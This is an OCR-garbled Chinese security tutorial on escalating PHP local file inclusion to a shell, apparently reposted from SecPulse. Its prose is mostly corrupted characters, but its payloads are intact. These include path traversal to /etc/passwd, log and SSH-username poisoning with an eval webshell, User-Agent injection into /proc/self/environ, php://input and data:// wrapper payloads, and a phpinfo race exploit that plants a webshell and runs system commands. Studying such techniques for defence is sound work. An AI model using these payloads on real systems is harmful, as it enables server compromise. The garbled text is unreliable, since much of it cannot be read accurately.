PHP X RE/NMNEL -
SecPulse.COM | ZEkiE

IR AWM oul A — D W
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FE xss, RE—EE getshell, HIARTT, B LTNER
IRRERE T ., FHIZRR LW, RERKRIBR, &S5
RERF, RU—AEAEXMHEESRE, BE—K
getshell 2%, Z—=1dE, KIMAIMUFBEE
getshell, XEAMEL—THER, EM—T. B
ML XN RE—T getshell 5, UEZEIE
XM EEREAEIRNEEZ shell,

HEEY




1.1, At

1. SR &M url FE—1PSE
file=/home/task.php, R—50, B /
home/task.php A
7../../..1..]..]../etc/passwd

ENE] 0 & fiphp?iil etc/passwd 8ot nogn 5 Fe P =

BmEswe DeERE © B4EE|BEEE. P ASABBSRES FEM11 £ % Google Chrome el 2 de g
daemonsx1: i i in bil in/bi i i

nexa c/bin:/bin/sync mano:1 2:man:/var/cac Ipox:

p ar/mail; i x:9: p ” i i /var/sponl

uucp; i jin proxy:x:13:13:proxy:/bin; i WWW- -data:/var/www, i i ba(kupx 34: 34ba<kup/var

2. BEREFHE php £BAYIEXK, 5t phpinfo il—

GET /< ""php php1nfo() 7> HITP/1. 1

2 Host: 7

3 User-Agent: Mozilla/5.0 (Windows NI 10.0: Win64. x64. rv:81.0) Gecko/20100101 Firefox/81.0
4 Accept: text/html, application/shtml+zml, application/=ml:q=0. 9, inage/webp, #/%:q=0. 8

5 Accept-Language: zh-CN, zh:q=0. 8, zh-TW:q=0. 7, zh-HK: q=0. 5, en-US:q=0. 3, en:q=0. 2

& Accept-Encoding gzip, deflate

" Connection: close
§ Cookie: PHPSESSID=541r3)117s0sb23hoBo6q73fcul
9 Upgrade-Insecure-Requests: 1

3. BEEMRESHTET, RS EMER YT,
%TE S7X, no such file 7, XTI TR,

N
B IXHE,

<« c @ 0 & fi.php?file /. etc/httpd/logs/access log 88 -+ ¥ n o e n

B xmmstss BIRAAL © AT MUER. P ASAEMSFES [ FER [ %8 Google Chrome O wanas

Warning: include(..../.././././etc/httpd/logs/access_log): failed to open stream: No such file or directory in /var/www/html/Ifi.php on line 2

Warning: include(): Failed opening "./../..../.././etc/httpd/logs/access log' for inclusion (include_path="/ust/local/lib/php’) in /var/www
/htm/Ifi.php on line 2

4. ZERBHNEE—TREXHE, EXR... —
(=R

PRESIFOIN 0% 16 php2file=.././/-/./fetc/init.d/nttpd 8@ ot noen o Fe B =

EdEss Means © BesEimgEs. D ASAENSHES | FER1 FRE ool Chome DEmRs s




Warning: include(./.././..././etc/init.d/httpd): failed to open stream: No such file or directory in /var/www/htmi/Ifi.php on line 2

Warning: include(): Failed opening "../.. ././etc/init.d/httpd’ for inclusion (include_path="../usr/local/lib/php’) in /var/www/html/Ifi.php on line 2

5. XAINES, RREVEMZE getshell T, IRERZI,
RRBEEF — ssh log IR BE—T,
SLZRT ARk, BREEMAM—INEY, BISMIERE]
FE, MBAR, BEET! RNKRE—
7, EERTEE, SKEERARN, MESR
H, £F&E\ nosuch file 7

OEE-K" 0 4 fiphp?iie verflog/authiog 2 B NDEn - Pe & :
BxmEsws DRARr © wemm|

2. @ ASAEMAEES [ FER1 %8 Google Chrome Disaam baysa

Oct 26 06:25:02 iZ2zeThy9bb3wihfecucjlZ CRON[20488]: pam_unix(cron:session): session closed for user root Oct 26 06:35:01
iZ2ze1hy9bb3wihfecuciiZ CRON[21130]: pam_unix(cron:session): session opened for user root by (uid=0) Oct 26 06:35:01 iZ2ze1hy9bb3wihfecugiz
CRON[21130): pam_unix(cronsession): session closed for user root Oct 26 06:45:01 iZ2ze1hydbb3wihfecucjlZ CRON[21637]: pam_unix(cron:session):
session opened for user root by (uid=0)

6. & THRMRE R T HiZ ssh Ei&:

ssh '<?=eval($_REQUEST[1])?>'@remotehost

— —
(SRR 0 & e o 1} S | 8o noon s Fe d =
Bsmesze DeERe © FoRW | MAER. £ ASAEDSRES FEW11 £ %8 Google Chrome O SDEN LHBE
Oct 26 06:25:02 iZ2ze 1 hy9bb3wihfecucjlZ CRON[20488]: pam_unix(cron:session): session closed for user root Oct 26 06:35:01 iZ2ze 1hy9bb3wihfecujlz CRON[21130]:
pam_unix(cron:session): session opened for user root by (uid=0) Oct 26 06:35:01 iZ2ze1hy9bb3wihfecucjiz CRON[21 t
26 06:45:01 iZ2ze1hy9bb3wihfecugjiZ CRON[21637]: pam_unix(cron:session): session opened for user root by (uid= (www-data) gid=33(www-data) g

data)
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2.1. 2R

1. PHP #F 4 N5 XHEERXAIRE:
include

require

include_once

require_once

2. Include 5 include_once BIX3I:

(1) Include: SIFHEEMNXGHAHNTEERESR;
ES5IANBER TMEZIX,

BN :
1 <?php
2 include "1.php":
3  include "1.php";
4 2>

XE include ;X 1.php X4, FAIAFISEE
1.php PR,

(2) Include_once: &IEIEEMINEFEANHMNITEEE
2%, tefT A include 1IBERM, H—X3IZ2WMRIZX
HHEZEEETE, NAREBEREs,



f5lan:

<?php

include once "l.php":
include once "l.php";
2>

[T I % I ]

XE include_once T#X 1.php X4, ERESEE
1.php —IR,

(3) require # requireonce HIFHES _FEIH T —,
B2 require I requireonce &HNE T E R FE
H1T. Include F include_once &1 EBIHFEHIT.

2.2, SZHFRT XA ET =N

File:// —————- ThI A RS
http(s):// —————- 15 HTTP (s) Rk
ftp:// ————- 1508 FTP(s) URLs

php:// —————- BEENEA / wmEii (1/0
streams)

zlib:// —————— B4R

data:// —————- ##E (RFC 2397)
glob:// —————- BRI XA ERER
phar:// —————- PHP )34

ssh2:// —————- Secure Shell 2

rar:// —————- RAR

ogg:// ————— =g

expect:// ————— LB E AR



2.3. & RRMDBGHEE:

1. file://

(1) ZTMNAT AR A A RS, FIABREHR]
MIEEZ.

(2) fFlgn: file:///etc/passwd. file://key.txt
2. php://

(1) php://input 2~ AJ ATAEIE KAV R IGERHERY R 1%
i, PILAAIENERRR IR BRI RIEAR, 1§ post 1HKH

RUEHEIES php UABHAT .

(2) php://filter @—FpTitik=s, RITATEERITHF
A RO THIEIT IR

hp://iltsr EAMERL FRIZEITAEREN 55, SSIEGNE—BE HEE. FMERREaHmLL
SEBEEAL

php:/ [filter £2§
ER faid
resource=<ETEMSIRR>  XOSEBLMN, SIEE FIEREDRITHIER.
read= <L ZaHEE. ILASE—MEE NTEEER, USES (1) 5.
write=<SHIRRESE > EEHTE. TLURE— TS N iERREiR, LEEF (1) 2R,
<; P MERTRES IR AL read= Bt write= {FRIZE MOFERERIR SIS R HT RIS,
3. phar://

(1) phar:// ¥R ERER PHP5.3.0 E£F18EK

(2) fan:

nhar://F-/nhnstiidv/www/1 7in/nhninfo txt



[P At o) [ mmef [V NNANA Y VY YV VY] Geami[r [ AMCITIINc et

phar://1.zip/phpinfo.txt

2.4. (AIXFIR A VNGB E:

fila s/ ==57 oftion offifon *fila=file:/D-/soft/phpStudy MWW e et
pho:fifilter ==52 oft/on offfon ?file=php://filter/resd=convert baseéd-encode/resource=./index php
php-/finput »=52 offion on “file=php://input __[POST DATA] <7php phpinfo(?>

zipdf ==52 offion offfon ?file=zip.//D/soft/phpStudy MWW/ file.ziphZ3phpcode tet

compress brip2://D-/scttiphpStudy ile bz2

compress baip2./ R affion offfon [

file=compress baip2:// ffile bz2

?file=compress 2lib//D:/softphpStudy WWWiile g2
>=52 offion aofffon [os]
ile=compress zib.// ffile.gz

compress.zib./

ila=data /ftext/plain <?php phpinfol?=

lor]
o Hile=dsts vbass6d, PDOwat pPzd=
dataf/ =52 on an BT
*file=dats text/plain, <?php phpinfol)?=
lor]

Hile=data textiplain-basehd POGweHAQcGhwaWSmbygoPzd=

3.1.Getshell Z session

%1% session XHHEREXN, B session XEHASES

7 AR,

$XEY session M{EERZ:

1. session XHHRZFEZ A ATE phpinfo B9

session.save_path &%,

session.save handler fles fles
session.save_path fuarlib/php/session | fvarflib/php/session
session.serialize_handler she shp

2. BUARR:

I _hea_ J_ _ /[_ _ __ mAaAr-anim



/Var/1n/ pnp/ Sess_FHPSESSIU
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

session BB IE A sess_[phpsessid], T
phpsessid TE£&1XIIE KA cookie FEXHA] LA
&3,

B = f HeEE 3 ORES

Hig
JSESSIONID: "sfe2adussludqusail 22jghsje”
Domain: "datatcz) net”
Expires / Max-Age: "Si5"
HostOnly: true
HttpOnly: true
Path: /"
SameSite: "None”
secure: false
ST "Tue, 27 Oct 2020 06:48:07 GMT"
Fv 36
EE3HEL "Tue, 27 Oct 2020 06:50:08 GMT"

FIA:

1. BESAHNMEINE, FTEEEHERD sesssion XY
WA, AMEBEH session X, MREANAS,
REREEENFERLRIAZNES, MTHHAEES
5\ payload, HZEBXEEMMHIT php K15,

2. BIENEIER— session.php AIEAFARIEEEE:



H<?php

session_start():;
fusername = $ POST['username'];
$ SESSION["username"] = Susername;

-2

3. AIAEEX session.php XEFHAFRSIEER
username BEZAFEHIE, BBEINMATUENER
RIBFTREFIA,

4. FEEABEANMUE, EFTRMENRXEHEEFE
FEEXTEERE.

1921
Systam Uinox sqoycc-sc-pro-scmin-Oe2e8248 movalocal 3.100-693.5.2.7x85_64 +1 SMIP P Oct 20 203250 UTC
2017 86,64
Build Date. Jan 3 2018 130247
Server AP1 MG
Virtusl Directory Support disabled
ini) Path Jets.
Losded Configuration File Jetc/phpini
Scan this dir for additional ini files lete/phpd
Additional .ini files parsed Jete/php.d/10-cpcache ini, /etc/php.d/15-xdebug.ini, /etc/php.d/20-ba2ini, /etc/php.d/20-calendarini.
Jete/phn.d/20-simplexrin,/etc/ohp. i i e sq
g hp: i Jetc/php.d/20-
feicfeled ? ek j
myslin, e e i o g
i i jsonini, /etc/php.d/40-shprof ini.
Jetlphp d0-zpin

5. MIREIERHKE, Ff1R payload FIEEHEESR



wRETARAT.

3.2.Getshell ZHE

3.2.1. 17‘5":T_|EIL;\

M FEMERSSFEASHEFMERRZ, BREXSA

=,

HEEFMEEOARRER:

1.apache+Linux BHEZRIAR
12: /etc/httpd/logs/accesslog & /

var/log/httpd/accesslog

2.apache+win2003 HEZKIAIER:
D:xamppapachelogsaccess.log.
D:xamppapachelogserror.log
3.11S6.0+win2003 BAIA B &34
C:WINDOWSsystem32Logfiles
4.11S7.0+win2003 EAIA B S
%SystemDrive%inetpublogsLogFiles

5.nginx HEXH: BEXHERFPLREBER
logs BXF, Rig&L&EEKZA / usr/local/nginx,
MEABEBFMETE / usr/local/nginx/logs FHE

FIA:

SENER, web BRBBFIFEKRE AN BEX G,
tEali apache, AP RKEIBEKRE, =EBEREA



access.log, FAREFHIXIVFEHEIZE A error.log, FIA
1R T, BERERE®E / ete/httpd/logs / T,

2. BUIRZEERAREBER, 2SN —LENSHRRILES
B2 TR LIEMRRRT EJL‘MEH% burp & E/F1E24,

1

L L L L
1 GET /<?php phpinfo():?> HITR/1.1

2 Host: 192.168.43.50

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64, =64; rv:81.0) Gecko/20100101 Firefox/81.0
4 Accept: text/html, application/zhtml+zml, application/=zml; q=0.9, image/webp, #/*; ¢=0. 8

5 Accept-Language: zh-CN. zh:g=0. 8, zh-TW: g=0. 7, zh-HK:; q=0. 5, en-US; ¢=0. 3, en; g=0. 2

G Accept-Encoding: gzip. deflate

7 Connection: close

2 Cookie: PHPSESSID=54:3j117=0sb23ho806gT3{cul

9 Upgrade-Insecure-Requests: 1

10

11

3. E®H php KIBEZXBEANT
/etc/httpd/logs/access.log, AEBEENAHITRA,

31 Yinclude.php?file=../../../../../../proc/self/environ QI
e
Php

System Linux sqaycd-sc-pro-admin-0e2e6249.novalocal 3.10.0-693.5.2.¢17.x86_64 #1 SMP Fri Oct 20 20:32:50 UTC
2017 x86_64

Build Date Jan 3 2018 13:02:47

Server API FPM/FastCGl

Virtual Directory Support disabled

Configuration File (php.ini) Path Jete

Loaded Configuration File Jetc/phpini

Scan this dir for additional .ini files fetc/php.d

Additional .ini files parsed Jete/php.d/10-0 pmch i, fetc/php.d/15-vdebug hp.d/20-bz2.ni hp.d/2:
fete/php. d/zn ctyp /e« /php d/zu rl i, /e t /phpd/ZO doi mln Jetey /phpd/zu 3. ini
fetefphy Fpiini, /etc/php.d/20-gd.ini, fetc/php.d/20-gette n

4. BEHIME, log IEFERIBISHER, X PEMREILA
BERENNEEXSE, BHEITES.

FREMH RN B X 7SR

1.apache+linux BRIAESE X4
/etc/httpd/conf/httpd.conf 5§ /

etc/init.d/httpd

2. 11IS6.0+win2003 &ir & Y14



— it = s i - = = e~

C:/Windows/system32/inetsrv/metabase.xml

3. [IS7.0+WIN F2 & x4

C:WindowsSystem32inetsrvconfigapplicationH

ost.config

3.2.2.SSH log

£ FEELNE ssh-log BIME, BANE,
ssh HEEINEERE:

1./var/log/auth.log

2./var/log/secure
FA:

1. F§ ssh &E#E:

ssh '<?php phpinfo(); ?>'@remotehost
ZESRTEMARE, FEERmAMITN,

2 KEFAXHEE, 08B

@ phpinfal x  +

< c @ /include.php?file=../../../././var/log/auth.log




php

L n
pr
2017 x86_64

Virtual Directory Support disabled

Configuration File (php.ini) Path Jete

Loaded Configuration File fetc/php.ini

Scan this dir for additional .ini files fetc/php.d

Additional .ini files parsed [fetc/php.df10-opcacheini, fetc/php.d/15- lend:
et /hd/ZOﬂYP /cl/h d/ZO rI / /hd/ZOdmm/ /h d/20 l

3.3.Getshell Z environ

S

1. php BA cgi AHIBETT, X4 environ & REF
UA 3k,

2. environ X FEUECSA, BBENRIAL
environ X4,

environ XHEIMIE

proc/self/environ
FMA:

1.proc/self/environ A={R7F user-agent 3k,

R FE user—agent FIEAN php K53, M php

RIEBEHEBE AR environ F, ZEBHEEE

A,

2. FIANEAIIETA B — 1 WLh, {#A burpsuite
me, BEEREEAL user-agent #,




Send Cancel | | <|v | >

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | Render

1 GET / HTIP/1.1
2 Host. 2

3 User-Agent locilla/5

4 Accept. text/htal, application/zhtnl+xnl. application/xnl:q-0.5, inage/webp.
s:

(Windows NT 10.0; Win64: x64. rv:81.0) Gecko/20100101 Firefox/8l.

1 HTTP/1.1 200 OK

2 Comnection: close

3 Date: Wed, 28 Oct 2020 06:34: 57 GUT
4 Content-Language: zh-CN

5 Content-Type text/htul:charset=utf-§
6 Content-Length: 172

5 Accept-Language =h-CN. zh:q=0.8.2h-TW =0, 7. 2h-HK:q=0.5, en-

6 Accept-Encoding gzip, deflate
Connection: close

5 Cookie: JSESSIONID=node0 1kt j31zm0eg6t 1iwe575mgvh3b0. noded
ts: L

) Upgrade-Insecure-Reques:
0 Cache-Control: max-age=0

7 Server: Jetty(8.4.31.v20200723)
10
1

3. MIAXHEEREEES proc/self/environ, RIIH

17 php 15,

51 | | Yinclude.php?file=.

ot/ -[proc/self/environ

Php

System Linux sqaycd-sc-pro-admin-0e2e6249.novalocal 3.10.0-693.5.2.€17.x86_64 #1 SMP Fri Oct 20 20:32:50 UTC
2017 x86_64

Build Date Jan 3 2018 13:02:47

Server APl FPM/FastCGl

Virtual Directory Support disabled

Configuration File (php.ini) Path Jetc

Loaded Configuration File Jetcfphpini

Scan this dir for additional .ini files Jetc/php.d

Additional

files parsed

et /php.d/15-xdebug.ini, hp.d/20-bz2.ni, hp.d2!
Jetc/php.d/20-curlini, /etc/php.d/20-dom.ini, /etc/php.d/20-exif.ini,
hp.d/20-ft; Jete/php.d/20-gd.ini, fetc/php.d/20-gettext.

/fete/php.d/10-cpcache.
/fete/php.d/20-ctype.i
/fete/php.d/20-fileinfo.

3.4.Getshell ZFJF phpinfo

FM: 177 phpinfo TEA BFEXHESRE




[REE:

&g
& B iR

1. {146 PHP &i% POST BB, NRENIE

FIA:

BEEEXMHXIR, PHP MR XHREFR—T
GBS 4, BE1REEN: /tmp/phpl6 THEHLF
1, XGRS X, EIBEREREMSEMIR.

E phpinfo TESHBER L TXFHNMBELESE
TSR, FRBAZRAIZ0RE phpinfo MEAZEE S
NAHXIREVEHER, A ARG S 2% R G
&, HEE $_FILES TEFHASR.

- BEEAMER vulhub RIRIZA

(https://github.com/vulhub/vulhub/blob/mas
ter/php/inclusion/exp.py) , RIS BSIF
B, MENMEEXHNRER: <?php
fileputcontents('/tmp/p','<?
=eval($_REQUEST[1])?>)?>, BINBEXTX
HEMEBSERFIXHE / tmp/p, XTXHEME
KABEBEBintles £

Lhysob




2. EARINNG, BAFBXHEERNITESSD
/?\\

o

| _
< c @ [N -1 8080/Ifi.php?file=/tmp/g&1=system('id");
Bymeszs DA © FueE|BmEs. P AsARRSTHEE | FEW1 9 3E Google Chrome

uid=33(www-data) gid=33(www-data) groups=33(www-data)

JR¥E:

BBARE vulhub AORNZS 2 20 EITE IR RS ST 44 M Bk
RIEEENE, HXIMERETRERS, BINREARN
I

1. B RIZEEE webshell WEIEEL phpinfo TT
H, FRAXELIREIEIE header F get Z1i
BiE#%,

2. @ phpinfo TESISAIBEIRITENL R, E£—1
SERPINIREIENSIE phpinfo TTEIERIAERE
K. T php BIAEHEFXKNA 4096, tha]
AR php BRR([E] 4096 NFH745 socket

Eiz.

3. P, XEEIRRIFRE socket, SIRILEX
4096 MFT., REB(NENFHERS IR
X2, MALZIRIEXEE SR ABREE
B, BAE—TEIEEN socket EHEIRBL
R, PrBAIGES X B bR, FefImaI X M4
BERIN.



3.5.Getshell Z H{EXE

M BLER, MELEEENXGRNFRER.
FIA:

1. RER—MEmRBER—T, BT XHLE
R, EfE—1%E php EERBNEA.

=& pika-pika-

& unsafe upfileupload > ZPi&check

EERF EEE !
MBS, | SRESES,

it HEREh

T BAVRESAXERZIREER, AR HEE
BREEESXTE R, MAIAIINIT php 1€
BT,

B 192.168.43.50/inclus de.php?file=uploat ds/test.jpg
|~
System Linux sqayed-sc-pro-admi 310.0-69352.617.x86_64 #1 SMP Fri Oct 20 20:32:50 UTC.
2017 x86 64
Build Date Jan 32018 13:02:47
Server API FPM/FastCGI
Virtual Directory Support disabled
Configuration File (php.ini) Path [ete
Loaded Configuration File Jetefphpini
Sean this dir for additional ini files Tetefphp-d
Bdditinnal ini flac naread Iate inhe ATV mracha ini ateinhes A7\ velabuin ink {abe ke A0y ini [abrinhe AT calandar ind




1. ERZP=EHEHEFTEEBS web BRZIMIXE, 4
2 php BEE T open_basedir, MEBEELM,

2. AU SRIHEHITIRE], PTMRARBREBNA
o, FIREFUESHNER,

3. MWEFRIHITIIIR.
4, REMERDNESEEFF
RXEE: TEF/NSERA

ANANLERBEEEEE LT, BEIFFEHR:
https://www.secpulse.com/archives/153767.html

ARH @l SimpRead i1, FLARTHENERIRL
{ERT SHBIIDEDISIE PR, RHEEE MR

v ©
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